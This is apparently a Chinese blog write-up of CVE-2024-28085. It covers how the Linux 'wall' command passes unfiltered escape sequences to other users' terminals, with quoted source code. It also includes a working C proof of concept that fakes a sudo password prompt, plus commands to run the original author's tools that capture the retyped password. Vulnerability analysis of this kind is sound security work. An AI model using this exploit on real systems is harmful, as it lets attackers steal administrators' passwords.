CVE-2024-28085 Improper Neutralization of Escape Sequences in Wall

CVE-2024-28085 Improper Neutralization of Escape Sequences in Wall

0x01. 漏洞介绍

CVE-2024-28085 是 Linux 下 wall 命令不当处理 Escape Sequence 引发的一个漏洞,利用该漏洞可能可以窃取管理员的密码。危害算不上大,但是 Escape Sequence 处理不当也算是一种漏洞模式,可以参考 CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences,Black Hat USA 2023 还有一个相关的议题 Weaponizing Plain Text: ANSI Escape Sequences as a Forensic Nightmare

按照原作者的说法,这个漏洞已经存在相当长的时间了,但笔者在 Ubuntu 20.04 上无法复现,在 Ubuntu 22.04 上可以复现。另外,Ubuntu 自带的 GNOME Terminal 不受该漏洞影响,因为 GNOME Terminal 不接收 wall 发送的消息。

0x02. 漏洞分析

2.1 wall

wall 是 Linux 下的一个内置程序,可以通过广播的方式给所有用户发送消息。在 Ubuntu 下,这是一个 SGID-tty 程序,普通用户也可以直接运行。

$ ls -al $(which wall)
-rwxr-sr-x 1 root tty 22904 2月 21 2022 /usr/bin/wall

$ man wall
NAME
wall - write a message to all users
SYNOPSIS
wall [-n] [-t timeout] [-g group] [message | file]

2.2 command-not-found

在 Ubuntu 下面,运行一个不存在的命令,会有如下提示:

$ xxx
Command 'xxx' not found, did you mean:
command 'xx' from deb fex-utils (20160919-2)
command 'x2x' from deb x2x (1.30-10)
command 'xdx' from deb xdx (2.5.0-4)
command 'xxd' from deb xxd (2:8.2.3995-1ubuntu2.13)
Try: sudo apt install <deb name>

实际上,这是 /usr/lib/command-not-found 输出的提示信息,该文件是一个 Python 脚本。

$ file /usr/lib/command-not-found
/usr/lib/command-not-found: Python script, ASCII text executable

$ /usr/lib/command-not-found xxx
Command 'xxx' not found, did you mean:
command 'xxd' from deb xxd (2:8.2.3995-1ubuntu2.13)
command 'xdx' from deb xdx (2.5.0-4)
command 'x2x' from deb x2x (1.30-10)
command 'xx' from deb fex-utils (20160919-2)
Try: sudo apt install <deb name>

2.3 Escape Sequence

在 Terminal 中,Escape Sequence 可以用来产生一些特定的行为,最常见的是控制文字的字体颜色、背景颜色、粗体、斜体、下划线等。

Escape Sequence 的格式为 <Esc>[ FormatCode m,其中:

  • <Esc> 可以写成如下三种格式:\e\033\x1b
  • [ 是固定的字符
  • FormatCode 是 ASCII 码,如果有多个控制码,需要使用 ; 分隔
  • m 是固定的字符

比如:

  • printf "\033[1;4;31mHello World\n\033[0m" 控制的字体格式为:1 粗体、4 下划线、31 红色
  • printf "\033[4;31mHello World\n\033[0m" 控制的字体格式为:4 下划线、31 红色
  • 注意 0 表示重置格式

Terminal Escape Sequence

2.4 漏洞分析

wall 可以从命令行接收要发送的消息,也可以从 stdin 或者文件接收要发送的消息。其中命令行传递的消息未经过任何处理,代码参考 term-utils/wall.c#L365(从 master 分支的代码看,这个漏洞目前暂时没有修复):

/*
* Read message from argv[]
*/
int i;

for (i = 0; i < mvecsz; i++) {
fputs(mvec[i], fs);
if (i < mvecsz - 1)
fputc(' ', fs);
}
fputs("\r\n", fs);

stdin 传递的消息是会特殊处理的(如果是文件,使用 freopenstdin 绑定到文件):

/*
* read message from <file>
*/
if (fname) {
/*
* When we are not root, but suid or sgid, refuse to read files
* (e.g. device files) that the user may not have access to.
* After all, our invoker can easily do "wall < file"
* instead of "wall file".
*/
uid_t uid = getuid();
if (uid && (uid != geteuid() || getgid() != getegid()))
errx(EXIT_FAILURE, _("will not read %s - use stdin."),
fname);

if (!freopen(fname, "r", stdin))
err(EXIT_FAILURE, _("cannot open %s"), fname);

}

/*
* Read message from stdin.
*/
while (getline(&lbuf, &lbuflen, stdin) >= 0)
fputs_careful(lbuf, fs, '^', true, TERM_WIDTH);

这里使用了 fputs_careful,源码可以参考 include/carefulputc.h#L22

0x03. 漏洞利用

原作者提出的漏洞利用思路如下:

  1. 用户通过 sudo 执行一条命令,比如 sudo systemctl start apache2,用户输入管理员密码并回车
  2. 攻击者可以先后监控到 sudo systemctl start apache2systemctl start apache2 两条命令的执行
  3. 攻击者通过 wall 广播一条精心构造的消息,使得另一端的用户以为密码输入错误
  4. 用户重新输入密码并回车
  5. 此时密码会被当作一条命令,显然该命令并不存在
  6. 攻击者通过监控 /usr/lib/command-not-found 来获取上述密码

监控程序运行是通过循环枚举和读取 /proc/pid/cmdline 来实现的(包括密码的读取),通过 wall 发送消息的代码如下:

#include<stdio.h>
#include<unistd.h>

// Username to show in prompt
#define USERNAME "root"

// Set color (48,10,36 is gnome-terminal)
// #define USER_R "48"
// #define USER_G "10"
// #define USER_B "36"
#define USER_R "0"
#define USER_G "0"
#define USER_B "0"

int main(int argc, char **argv){
char* _argv[] = {"prog",
"\033[3A" // Move up 3
"\033[K" // Delete prompt
"[sudo] password for "USERNAME": \033[47m \033[40m"
"\033[?25l"
// Set forground RGB (48,10,36)
// hide typing
"\033[38;2;"USER_R";"USER_G";"USER_B"m",
NULL};
char* _envp[] = {NULL};
execve("/usr/bin/wall", _argv, _envp);
return 0;
}

完整的利用方式可以参考原作者的 GitHub 仓库。

git clone https://github.com/skyler-ferrante/CVE-2024-28085.git
./build.sh
./spy > proc.log & ./watch "sudo systemctl start apache2"; ./watch "systemctl start apache2"; sleep .01; ./throw

这里没有做现场恢复,所以运行之后,其他用户的终端直接废了:不显示光标,输入的文字也不可见。

  • \033[?25h 显示光标
  • \033[0m 重置格式

所以,好一点的利用方式需要在拿到密码后,重新通过 wall 发送消息来恢复对方的终端设置。

其他利用场景:

  • 监控 SSH 登录,利用方式跟前面一样
  • 监控 cat ~/.ssh/id_rsa.pub,替换剪贴板数据

0x04. References

  1. https://www.cnblogs.com/unclemac/p/12783387.html
  2. https://github.com/skyler-ferrante/CVE-2024-28085/tree/main
请作者喝杯咖啡☕